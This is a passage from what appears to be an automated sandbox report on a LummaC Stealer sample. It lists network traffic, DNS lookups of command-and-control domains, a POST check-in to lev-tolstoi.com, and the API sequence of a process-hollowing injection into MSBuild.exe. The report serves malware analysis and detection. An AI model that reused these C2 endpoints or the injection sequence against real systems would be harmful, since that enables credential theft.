Dec 18, 2024 14:30:06.862205982 CET	49710	443	192.168.2.8	23.55.153.106
Dec 18, 2024 14:30:06.862221003 CET	443	49710	23.55.153.106	192.168.2.8
Dec 18, 2024 14:30:06.862513065 CET	443	49710	23.55.153.106	192.168.2.8
Dec 18, 2024 14:30:06.903266907 CET	49710	443	192.168.2.8	23.55.153.106
Dec 18, 2024 14:30:06.916066885 CET	49710	443	192.168.2.8	23.55.153.106
Dec 18, 2024 14:30:06.959342957 CET	443	49710	23.55.153.106	192.168.2.8
Dec 18, 2024 14:30:07.638981104 CET	443	49710	23.55.153.106	192.168.2.8
Dec 18, 2024 14:30:07.639008999 CET	443	49710	23.55.153.106	192.168.2.8
Dec 18, 2024 14:30:07.639034986 CET	443	49710	23.55.153.106	192.168.2.8
Dec 18, 2024 14:30:07.639046907 CET	443	49710	23.55.153.106	192.168.2.8
Dec 18, 2024 14:30:07.639065027 CET	443	49710	23.55.153.106	192.168.2.8
Dec 18, 2024 14:30:07.639075994 CET	49710	443	192.168.2.8	23.55.153.106
Dec 18, 2024 14:30:07.639108896 CET	443	49710	23.55.153.106	192.168.2.8
Dec 18, 2024 14:30:07.639130116 CET	49710	443	192.168.2.8	23.55.153.106
Dec 18, 2024 14:30:07.639161110 CET	49710	443	192.168.2.8	23.55.153.106
Dec 18, 2024 14:30:07.815198898 CET	443	49710	23.55.153.106	192.168.2.8
Dec 18, 2024 14:30:07.815238953 CET	443	49710	23.55.153.106	192.168.2.8
Dec 18, 2024 14:30:07.815274954 CET	49710	443	192.168.2.8	23.55.153.106
Dec 18, 2024 14:30:07.815295935 CET	443	49710	23.55.153.106	192.168.2.8
Dec 18, 2024 14:30:07.815332890 CET	49710	443	192.168.2.8	23.55.153.106
Dec 18, 2024 14:30:07.853214025 CET	443	49710	23.55.153.106	192.168.2.8
Dec 18, 2024 14:30:07.853255033 CET	443	49710	23.55.153.106	192.168.2.8
Dec 18, 2024 14:30:07.853291035 CET	49710	443	192.168.2.8	23.55.153.106
Dec 18, 2024 14:30:07.853302956 CET	443	49710	23.55.153.106	192.168.2.8
Dec 18, 2024 14:30:07.853351116 CET	49710	443	192.168.2.8	23.55.153.106
Dec 18, 2024 14:30:07.855865955 CET	49710	443	192.168.2.8	23.55.153.106
Dec 18, 2024 14:30:07.855885029 CET	443	49710	23.55.153.106	192.168.2.8
Dec 18, 2024 14:30:07.855914116 CET	49710	443	192.168.2.8	23.55.153.106
Dec 18, 2024 14:30:07.855920076 CET	443	49710	23.55.153.106	192.168.2.8
Dec 18, 2024 14:30:08.186335087 CET	49711	443	192.168.2.8	172.67.157.254
Dec 18, 2024 14:30:08.186374903 CET	443	49711	172.67.157.254	192.168.2.8
Dec 18, 2024 14:30:08.186465025 CET	49711	443	192.168.2.8	172.67.157.254
Dec 18, 2024 14:30:08.186856985 CET	49711	443	192.168.2.8	172.67.157.254
Dec 18, 2024 14:30:08.186866999 CET	443	49711	172.67.157.254	192.168.2.8
Dec 18, 2024 14:30:09.406110048 CET	443	49711	172.67.157.254	192.168.2.8
Dec 18, 2024 14:30:09.406227112 CET	49711	443	192.168.2.8	172.67.157.254
Dec 18, 2024 14:30:09.409347057 CET	49711	443	192.168.2.8	172.67.157.254
Dec 18, 2024 14:30:09.409358025 CET	443	49711	172.67.157.254	192.168.2.8
Dec 18, 2024 14:30:09.409626007 CET	443	49711	172.67.157.254	192.168.2.8
Dec 18, 2024 14:30:09.410738945 CET	49711	443	192.168.2.8	172.67.157.254
Dec 18, 2024 14:30:09.410770893 CET	49711	443	192.168.2.8	172.67.157.254
Dec 18, 2024 14:30:09.410815001 CET	443	49711	172.67.157.254	192.168.2.8
Dec 18, 2024 14:30:10.009980917 CET	443	49711	172.67.157.254	192.168.2.8
Dec 18, 2024 14:30:10.010077953 CET	443	49711	172.67.157.254	192.168.2.8
Dec 18, 2024 14:30:10.010142088 CET	49711	443	192.168.2.8	172.67.157.254
Dec 18, 2024 14:30:10.010313988 CET	49711	443	192.168.2.8	172.67.157.254
Dec 18, 2024 14:30:10.010332108 CET	443	49711	172.67.157.254	192.168.2.8
Dec 18, 2024 14:30:10.010343075 CET	49711	443	192.168.2.8	172.67.157.254
Dec 18, 2024 14:30:10.010354042 CET	443	49711	172.67.157.254	192.168.2.8
Dec 18, 2024 14:30:10.068115950 CET	49712	443	192.168.2.8	172.67.157.254
Dec 18, 2024 14:30:10.068164110 CET	443	49712	172.67.157.254	192.168.2.8
Dec 18, 2024 14:30:10.068227053 CET	49712	443	192.168.2.8	172.67.157.254
Dec 18, 2024 14:30:10.068681002 CET	49712	443	192.168.2.8	172.67.157.254
Dec 18, 2024 14:30:10.068696022 CET	443	49712	172.67.157.254	192.168.2.8
Dec 18, 2024 14:30:10.981631994 CET	49712	443	192.168.2.8	172.67.157.254

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 18, 2024 14:30:03.003968000 CET	63792	53	192.168.2.8	1.1.1.1
Dec 18, 2024 14:30:03.224384069 CET	53	63792	1.1.1.1	192.168.2.8
Dec 18, 2024 14:30:03.233194113 CET	54307	53	192.168.2.8	1.1.1.1
Dec 18, 2024 14:30:03.462553024 CET	53	54307	1.1.1.1	192.168.2.8
Dec 18, 2024 14:30:03.465653896 CET	61692	53	192.168.2.8	1.1.1.1
Dec 18, 2024 14:30:03.697175026 CET	53	61692	1.1.1.1	192.168.2.8
Dec 18, 2024 14:30:03.700558901 CET	58689	53	192.168.2.8	1.1.1.1
Dec 18, 2024 14:30:03.936733007 CET	53	58689	1.1.1.1	192.168.2.8
Dec 18, 2024 14:30:03.938535929 CET	52911	53	192.168.2.8	1.1.1.1
Dec 18, 2024 14:30:04.164748907 CET	53	52911	1.1.1.1	192.168.2.8
Dec 18, 2024 14:30:04.168631077 CET	59232	53	192.168.2.8	1.1.1.1
Dec 18, 2024 14:30:04.481755018 CET	53	59232	1.1.1.1	192.168.2.8
Dec 18, 2024 14:30:04.490998983 CET	51182	53	192.168.2.8	1.1.1.1
Dec 18, 2024 14:30:04.716860056 CET	53	51182	1.1.1.1	192.168.2.8
Dec 18, 2024 14:30:04.831378937 CET	52424	53	192.168.2.8	1.1.1.1
Dec 18, 2024 14:30:05.059451103 CET	53	52424	1.1.1.1	192.168.2.8
Dec 18, 2024 14:30:05.063324928 CET	57787	53	192.168.2.8	1.1.1.1
Dec 18, 2024 14:30:05.286096096 CET	53	57787	1.1.1.1	192.168.2.8
Dec 18, 2024 14:30:05.299772978 CET	65528	53	192.168.2.8	1.1.1.1
Dec 18, 2024 14:30:05.438880920 CET	53	65528	1.1.1.1	192.168.2.8
Dec 18, 2024 14:30:07.859019041 CET	50198	53	192.168.2.8	1.1.1.1
Dec 18, 2024 14:30:08.185189009 CET	53	50198	1.1.1.1	192.168.2.8

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 18, 2024 14:30:03.003968000 CET	192.168.2.8	1.1.1.1	0x2a5	Standard query (0)	push-hook.cyou	A (IP address)	IN (0x0001)	false
Dec 18, 2024 14:30:03.233194113 CET	192.168.2.8	1.1.1.1	0x4608	Standard query (0)	processhol.sbs	A (IP address)	IN (0x0001)	false
Dec 18, 2024 14:30:03.465653896 CET	192.168.2.8	1.1.1.1	0xb074	Standard query (0)	librari-night.sbs	A (IP address)	IN (0x0001)	false
Dec 18, 2024 14:30:03.700558901 CET	192.168.2.8	1.1.1.1	0x5122	Standard query (0)	befall-sm0ker.sbs	A (IP address)	IN (0x0001)	false
Dec 18, 2024 14:30:03.938535929 CET	192.168.2.8	1.1.1.1	0xbe6c	Standard query (0)	p10tgrace.sbs	A (IP address)	IN (0x0001)	false
Dec 18, 2024 14:30:04.168631077 CET	192.168.2.8	1.1.1.1	0x1a60	Standard query (0)	peepburry828.sbs	A (IP address)	IN (0x0001)	false
Dec 18, 2024 14:30:04.490998983 CET	192.168.2.8	1.1.1.1	0x8bda	Standard query (0)	owner-vacat10n.sbs	A (IP address)	IN (0x0001)	false
Dec 18, 2024 14:30:04.831378937 CET	192.168.2.8	1.1.1.1	0x8017	Standard query (0)	3xp3cts1aim.sbs	A (IP address)	IN (0x0001)	false
Dec 18, 2024 14:30:05.063324928 CET	192.168.2.8	1.1.1.1	0xd8e1	Standard query (0)	p3ar11fter.sbs	A (IP address)	IN (0x0001)	false
Dec 18, 2024 14:30:05.299772978 CET	192.168.2.8	1.1.1.1	0xf7bb	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Dec 18, 2024 14:30:07.859019041 CET	192.168.2.8	1.1.1.1	0xe41	Standard query (0)	lev-tolstoi.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 18, 2024 14:30:03.224384069 CET	1.1.1.1	192.168.2.8	0x2a5	Name error (3)	push-hook.cyou	none	none	A (IP address)	IN (0x0001)	false
Dec 18, 2024 14:30:03.462553024 CET	1.1.1.1	192.168.2.8	0x4608	Name error (3)	processhol.sbs	none	none	A (IP address)	IN (0x0001)	false
Dec 18, 2024 14:30:03.697175026 CET	1.1.1.1	192.168.2.8	0xb074	Name error (3)	librari-night.sbs	none	none	A (IP address)	IN (0x0001)	false
Dec 18, 2024 14:30:03.936733007 CET	1.1.1.1	192.168.2.8	0x5122	Name error (3)	befall-sm0ker.sbs	none	none	A (IP address)	IN (0x0001)	false
Dec 18, 2024 14:30:04.164748907 CET	1.1.1.1	192.168.2.8	0xbe6c	Name error (3)	p10tgrace.sbs	none	none	A (IP address)	IN (0x0001)	false
Dec 18, 2024 14:30:04.481755018 CET	1.1.1.1	192.168.2.8	0x1a60	Name error (3)	peepburry828.sbs	none	none	A (IP address)	IN (0x0001)	false
Dec 18, 2024 14:30:04.716860056 CET	1.1.1.1	192.168.2.8	0x8bda	Name error (3)	owner-vacat10n.sbs	none	none	A (IP address)	IN (0x0001)	false
Dec 18, 2024 14:30:05.059451103 CET	1.1.1.1	192.168.2.8	0x8017	Name error (3)	3xp3cts1aim.sbs	none	none	A (IP address)	IN (0x0001)	false
Dec 18, 2024 14:30:05.286096096 CET	1.1.1.1	192.168.2.8	0xd8e1	Name error (3)	p3ar11fter.sbs	none	none	A (IP address)	IN (0x0001)	false
Dec 18, 2024 14:30:05.438880920 CET	1.1.1.1	192.168.2.8	0xf7bb	No error (0)	steamcommunity.com		23.55.153.106	A (IP address)	IN (0x0001)	false
Dec 18, 2024 14:30:08.185189009 CET	1.1.1.1	192.168.2.8	0xe41	No error (0)	lev-tolstoi.com		172.67.157.254	A (IP address)	IN (0x0001)	false
Dec 18, 2024 14:30:08.185189009 CET	1.1.1.1	192.168.2.8	0xe41	No error (0)	lev-tolstoi.com		104.21.66.86	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

steamcommunity.com

lev-tolstoi.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49710	23.55.153.106	443	4260	C:\Users\user\Desktop\aqbjn3fl.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 13:30:06 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2024-12-18 13:30:07 UTC	1905	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq. [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Wed, 18 Dec 2024 13:30:07 GMT Content-Length: 35121 Connection: close Set-Cookie: sessionid=f40553fc613f06009559ae1e; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7C185ce35c568ebbb18a145d0cabae7186; Path=/; Secure; HttpOnly; SameSite=None
2024-12-18 13:30:07 UTC	14479	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0a 09 09 3c 74 69 74 6c 65 3e Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><title>
2024-12-18 13:30:07 UTC	10097	IN	Data Raw: 2e 63 6f 6d 2f 3f 73 75 62 73 65 63 74 69 6f 6e 3d 62 72 6f 61 64 63 61 73 74 73 22 3e 0a 09 09 09 09 09 09 42 72 6f 61 64 63 61 73 74 73 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 6d 65 6e 75 69 74 65 6d 20 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 6f 72 65 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 2f 61 62 6f 75 74 2f 22 3e 0a 09 09 09 09 41 62 6f 75 74 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 6d 65 6e 75 69 74 65 6d 20 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 65 6c 70 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 2f 65 6e 2f 22 3e 0a 09 09 09 09 53 55 50 50 4f 52 54 09 Data Ascii: .com/?subsection=broadcasts">Broadcasts</a></div><a class="menuitem " href="https://store.steampowered.com/about/">About</a><a class="menuitem " href="https://help.steampowered.com/en/">SUPPORT
2024-12-18 13:30:07 UTC	10545	IN	Data Raw: 4e 49 56 45 52 53 45 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 70 75 62 6c 69 63 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 4c 41 4e 47 55 41 47 45 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 65 6e 67 6c 69 73 68 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 43 4f 55 4e 54 52 59 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 55 53 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 4d 45 44 49 41 5f 43 44 4e 5f 43 4f 4d 4d 55 4e 49 54 59 5f 55 52 4c 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 68 74 74 70 73 3a 5c 2f 5c 2f 63 64 6e 2e 66 61 73 74 6c 79 2e 73 74 65 61 6d 73 74 61 74 69 63 2e 63 6f 6d 5c 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 5c 2f 70 75 62 6c 69 63 5c 2f 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 4d 45 44 49 41 5f 43 44 4e 5f 55 52 4c 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 68 74 74 Data Ascii: NIVERSE":"public","LANGUAGE":"english","COUNTRY":"US","MEDIA_CDN_COMMUNITY_URL":"https:\/\/cdn.fastly.steamstatic.com\/steamcommunity\/public\/","MEDIA_CDN_URL":"htt

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49711	172.67.157.254	443	4260	C:\Users\user\Desktop\aqbjn3fl.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 13:30:09 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: lev-tolstoi.com
2024-12-18 13:30:09 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-18 13:30:10 UTC	1030	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 13:30:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=7g5hgsb1usbt5qhg965mmjkr2o; expires=Sun, 13-Apr-2025 07:16:48 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NCQJFyHXMmnpzZ48gSho6DS%2FRGxLbXlRgkaHp3azNtqDZQhOyP2CCNYAjpJUVsjGX89hWvwEzKqNAEHeV38jWvJgvXGnkvNybnDvmRwPW4e627dwHUUpkLmyTtcRB1NSbUM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f3f81827eea1a34-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1945&min_rtt=1937&rtt_var=743&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2835&recv_bytes=906&delivery_rate=1455633&cwnd=185&unsent_bytes=0&cid=dacabc69ef469979&ts=616&x=0"
2024-12-18 13:30:10 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-18 13:30:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	08:29:59
Start date:	18/12/2024
Path:	C:\Users\user\Desktop\aqbjn3fl.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\aqbjn3fl.exe"
Imagebase:	0x9b0000
File size:	586'368 bytes
MD5 hash:	34A152EB5D1D3E63DAFEF23579042933
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_LummaCStealer_4, Description: Yara detected LummaC Stealer, Source: 00000000.00000002.1511669502.0000000002BBA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	08:29:59
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	08:30:02
Start date:	18/12/2024
Path:	C:\Users\user\Desktop\aqbjn3fl.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\aqbjn3fl.exe"
Imagebase:	0x9b0000
File size:	586'368 bytes
MD5 hash:	34A152EB5D1D3E63DAFEF23579042933
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_LummaCStealer_4, Description: Yara detected LummaC Stealer, Source: 00000003.00000002.1592231634.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	2.1%
Dynamic/Decrypted Code Coverage:	0.7%
Signature Coverage:	3.3%
Total number of Nodes:	1143
Total number of Limit Nodes:	17

Executed Functions

Function 009ED18D Relevance: 42.3, APIs: 10, Strings: 14, Instructions: 295
threadinjectionmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNELBASE(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,009ED0FF,009ED0EF), ref: 009ED323
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 009ED336
Wow64GetThreadContext.KERNEL32(00000098,00000000), ref: 009ED354
ReadProcessMemory.KERNELBASE(0000008C,?,009ED143,00000004,00000000), ref: 009ED378
VirtualAllocEx.KERNELBASE(0000008C,?,?,00003000,00000040), ref: 009ED3A3
WriteProcessMemory.KERNELBASE(0000008C,00000000,?,?,00000000,?), ref: 009ED3FB
WriteProcessMemory.KERNELBASE(0000008C,00400000,?,?,00000000,?,00000028), ref: 009ED446
WriteProcessMemory.KERNELBASE(0000008C,?,?,00000004,00000000), ref: 009ED484
Wow64SetThreadContext.KERNEL32(00000098,02C50000), ref: 009ED4C0
ResumeThread.KERNELBASE(00000098), ref: 009ED4CF

Strings

GetThreadContext, xrefs: 009ED265
CreateProcessW, xrefs: 009ED23F
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe, xrefs: 009ED322
VirtualAlloc, xrefs: 009ED252
ReadProcessMemory, xrefs: 009ED278
Load, xrefs: 009ED1C9
TerminateProcess, xrefs: 009ED3B2
WriteProcessMemory, xrefs: 009ED29E
VirtualAllocEx, xrefs: 009ED28B
ResumeThread, xrefs: 009ED2C7
SetThreadContext, xrefs: 009ED2B1
GetP, xrefs: 009ED20D
aryA, xrefs: 009ED1D1
ress, xrefs: 009ED215

Memory Dump Source

Source File: 00000000.00000002.1511510689.00000000009ED000.00000040.00000001.01000000.00000003.sdmp, Offset: 009B0000, based on PE: true

Associated: 00000000.00000002.1511440506.00000000009B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511460050.00000000009B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511494690.00000000009E7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511528794.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511549299.00000000009F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511570424.00000000009F3000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b0000_aqbjn3fl.jbxd

Similarity

API ID: Process$Memory$ThreadWrite$AllocContextVirtualWow64$CreateReadResume
String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe$CreateProcessW$GetP$GetThreadContext$Load$ReadProcessMemory$ResumeThread$SetThreadContext$TerminateProcess$VirtualAlloc$VirtualAllocEx$WriteProcessMemory$aryA$ress
API String ID: 2687962208-3857624555
Opcode ID: 4d4c1a7e65f8d0d38951af6025ef960edc15c7aa7ffa2998c2434409f37e51df
Instruction ID: 0b77e979cbe066a640e3ced87a601ec984e20fa9cbc213aff466d300267f0443
Opcode Fuzzy Hash: 4d4c1a7e65f8d0d38951af6025ef960edc15c7aa7ffa2998c2434409f37e51df
Instruction Fuzzy Hash: 3CB1077660128AAFDB60CF69CC80BDA73A5FF88714F158524EA08AB341D774FE51CB94

Function 009BD478 Relevance: 1.5, Strings: 1, Instructions: 206
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

XvIL, xrefs: 009BCDE8

Memory Dump Source

Source File: 00000000.00000002.1511460050.00000000009B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009B0000, based on PE: true

Associated: 00000000.00000002.1511440506.00000000009B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511494690.00000000009E7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511510689.00000000009ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511528794.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511549299.00000000009F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511570424.00000000009F3000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b0000_aqbjn3fl.jbxd

Similarity

API ID:
String ID: XvIL
API String ID: 0-558896452
Opcode ID: 6c9369cf92e9173615d8ad79d8560ea6a0fcb857d1fdea8368ffd7592c3d7d42
Instruction ID: 4630828ddcfadd7a4b8b307f40c3aa957794ead14de10d1a35e195c3d507e586
Opcode Fuzzy Hash: 6c9369cf92e9173615d8ad79d8560ea6a0fcb857d1fdea8368ffd7592c3d7d42
Instruction Fuzzy Hash: EE61CB793261019F9E2CCA28AEE56FC77D5DFD8330B25452EF4135BAF1D624AC418782

Function 009E0EA8 Relevance: 7.7, APIs: 5, Instructions: 197
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__alloca_probe_16.LIBCMT ref: 009E0F2D
__alloca_probe_16.LIBCMT ref: 009E0FF6
__freea.LIBCMT ref: 009E105D

Part of subcall function 009DEBBB: RtlAllocateHeap.NTDLL(00000000,009B76E8,?,?,009B76E8,01E84800), ref: 009DEBED

__freea.LIBCMT ref: 009E1070
__freea.LIBCMT ref: 009E107D

Memory Dump Source

Source File: 00000000.00000002.1511460050.00000000009B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009B0000, based on PE: true

Associated: 00000000.00000002.1511440506.00000000009B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511494690.00000000009E7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511510689.00000000009ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511528794.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511549299.00000000009F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511570424.00000000009F3000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b0000_aqbjn3fl.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: 6ec16d1f351406baf340f9dd67be97b848ca357e3c84ee994bc73d0cfbcd60f8
Instruction ID: 49fee81d99f27fe3366e819048334e71b93174d3cbc52376c541f8a25722a3ee
Opcode Fuzzy Hash: 6ec16d1f351406baf340f9dd67be97b848ca357e3c84ee994bc73d0cfbcd60f8
Instruction Fuzzy Hash: EE51B372600286AFDF226F62CC81FBB3BADEF84711B194529FD04D6251EB75DD90C660

Function 009DD4EA Relevance: 3.2, APIs: 2, Instructions: 177
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 009DD6EF: GetOEMCP.KERNEL32(00000000,?,?,788496A7,?), ref: 009DD71A

IsValidCodePage.KERNEL32(-00000030,00000000,?,?,?,?,?,?,?,?,009DD8FA,?,00000000,?,788496A7,?), ref: 009DD54B
GetCPInfo.KERNEL32(00000000,?,?,?,?,?,?,?,?,009DD8FA,?,00000000,?,788496A7,?), ref: 009DD587

Memory Dump Source

Source File: 00000000.00000002.1511460050.00000000009B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009B0000, based on PE: true

Associated: 00000000.00000002.1511440506.00000000009B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511494690.00000000009E7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511510689.00000000009ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511528794.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511549299.00000000009F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511570424.00000000009F3000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b0000_aqbjn3fl.jbxd

Similarity

API ID: CodeInfoPageValid
String ID:
API String ID: 546120528-0
Opcode ID: a64d8e0c5ed3cac769b363a402bbeec0766f2e559026120cf98c356e912a0d71
Instruction ID: 543557c66676e33ba577c180d37587f674f43ac96c4188c0fcfa63764692be62
